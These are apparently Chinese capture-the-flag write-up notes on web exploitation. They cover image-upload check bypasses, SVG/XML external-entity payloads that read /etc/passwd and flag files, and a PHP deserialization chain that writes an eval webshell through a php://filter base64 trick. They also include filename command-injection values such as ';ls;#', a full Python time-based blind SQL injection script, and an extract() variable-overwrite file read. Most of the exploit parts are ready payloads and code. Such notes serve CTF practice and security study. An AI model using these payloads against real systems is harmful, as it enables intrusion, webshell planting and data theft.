检查文件长宽的getimagesize()函数绕过 这个用来获取图像大小及相关信息 成功就返回一个数组
1 2 3 4 5 6 7 8 9 10 11 getimagesize() 函数返回的数组: Array ( [0] => 290 [1] => 69 [2] => 3 [3] => width="290" height="69" [bits] => 8 [mime] => image/png )
索引 0 给出的是图像宽度的像素值 索引 1 给出的是图像高度的像素值 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签 索引 bits 给出的是图像的每种颜色的位数,二进制格式 索引 channels 给出的是图像的通道值,RGB 图像默认是 3 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header(“Content-type: image/jpeg”);
1 函数finfo_file()其主要是识别PNG文件十六进制下的第一行信息,若保留文件头信息,破坏掉文件长宽等其余信息,也就可以绕过getimagesize() 函数的检验使用Hex Fiend将图片其余数据删掉,只保留文件头:
上传svg格式文件 可进行神奇的操作变成xee漏洞 svg是xml的图片 存在可控内容
1 2 3 4 5 6 7 8 9 10 <?DOCTYPE html> <html> <body> <svg height="100" width="100> <text x="10" y="10">123</text> </svg> </body> </html>
直接通过DTD外部实体声明
1 2 3 4 5 6 7 8 9 XML内容: <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <c>&b;</c>
不知道flag的路径,可以先用/proc/self/pwd/代表的是当前路径。可以构造/proc/self/pwd/flag.txt读取文件 最终构造的.svg 文件内容:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> <intro>&xxe;</intro> </user> </users> utf-8 转utf-16 绕过
1 $result = file_put_contents($filename, $data); file_put_contents 这个支持php伪协议 可以将base64编码过的shell写入$data
1 public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; }
array_intersect_key()函数用于比较两个(或更多个)数组的键名 ,并返回交集。 第一段是数组赋值,第二段数组遍历并将两个数组的交际赋给$contents[$path] 所以**$object的键选$cachedProperties中任意一个都行**,这里选择path。值就是我们的shell的base64编码,
1 也就是 $object=array("path"=>"<?php eval($_GET['a']);?>的base64(PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg==)")
1 public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }$filename = $this->getCacheKey($name);
getcachekey方法 prefix用于文件名构造
因为在后面写入文件的时候,前面拼接了一段别的php代码,而且这段代码会导致即便我们在后面拼接上shell也无法正常执行。
1 "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
1 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);
这段代码中的**$data全部用base64解码转化过后再写入文件中**,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。 这里唯一需要注意的是长度问题,我们需要shell部分前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。
1 所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';已经可以确定了。
这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。 这里唯一需要注意的是长度问题,
1 我们需要shell部分<?php phpinfo()?>前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。
所以$b->options[‘prefix’]=’php://filter/write=convert.base64-decode/resource=./uploads/‘;已经可以确定了。
现在只需要控制写入内容
1 $date接收传参$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
payload:
1 <?phpclass A{ protected $store; protected $key; protected $expire; public function __construct() { $this->key = 'pz.php'; } public function start($tmp){ $this->store = $tmp; }}class B{ public $options;}$a = new A();$b = new B();$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";$b->options['expire'] = 11;$b->options['data_compress'] = false;$b->options['serialize'] = 'strval';$a->start($b);$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2FhYSddKTs/Pg==");$path = '111';$a->cache = array($path=>$object);$a->complete = '2';echo urlencode(serialize($a));?>
1 php伪协议/user.php?page=php://filter/convert.base64-encode/resource=
1 parse_url解析漏洞:$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'],$query)
这种情况:
1 //user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
会解析错误返回false 就可以进行读取
1 $newfile = $path.$filename;echo "file upload success<br />";echo $filename;$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
通过文件名代码执行漏洞
1 filename=";ls;#" ="cd ..;ls;#" 切换目录 ="cd ..;cat wenjianming;#"
1 存在堆叠注入的判断方法:名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。根据判断方法,当我们在 username 输入 admin'或者 admin;' 提示报错username 输入 admin 或者admin'; 报错消失
通过mysql预处理与hex绕过过滤来构建脚本 1 #author: c1e4rimport requestsimport jsonimport timedef main(): #题目地址 url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login''' #注入payload payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -" flag = '' for i in range(1,30): #查询payload payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)" for j in range(0,128): #将构造好的payload进行16进制转码和json转码 datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'} data = json.dumps(datas) times = time.time() res = requests.post(url = url, data = data) if time.time() - times >= 3: flag = flag + chr(j) print(flag) breakdef str_to_hex(s): return ''.join([hex(ord(c)).replace('0x', '') for c in s])if __name__ == '__main__': main()
注入过程没有特殊回显常见词被过滤用16进制+mysql预处理来绕过加上时间盲注进行绕过
1 2 3 sql: select hex('select sleep(5)');
下载到源码:前端的应用逻辑基础一般在contraller文件夹下 1 /Controller/BaseController.php....public function loadView($viewName ='', $viewData = []){ $this->viewPath = BASE_PATH . "/View/{$viewName}.php"; if(file_exists($this->viewPath)) { extract($viewData); include $this->viewPath; }}
loadview方法使用了extract 和include了一个文件
只要viewdata可控 就能覆盖掉this->viewpath文件中的某些变量 而且这个是要返回给客户的
1 /Controller/UserController.phppublic function actionIndex(){ $listData = $_REQUEST; $this->loadView('userIndex',$listData);}
这边存在对viewdata完全可控的地方
1 ....... if(!isset($img_file)) { $img_file = '/../favicon.ico'; } $img_dir = dirname(__FILE__) . $img_file; $img_base64 = imgToBase64($img_dir); echo '<img src="' . $img_base64 . '">'; //图片形式展示 ?></div> </div> </div></div></body></html><?phpfunction imgToBase64($img_file) { return $img_base64; //返回图片的base64}?>
读取$img_file 的内容 以base64输出 imgfile通过extract(viewdata)变量覆盖漏洞完全控制
1 2 3 ,而$viewData是受用户控制的完全控制的。所以这里就存在一个任意文件读取漏洞。 所以可以通过访问img_file= 来获取文件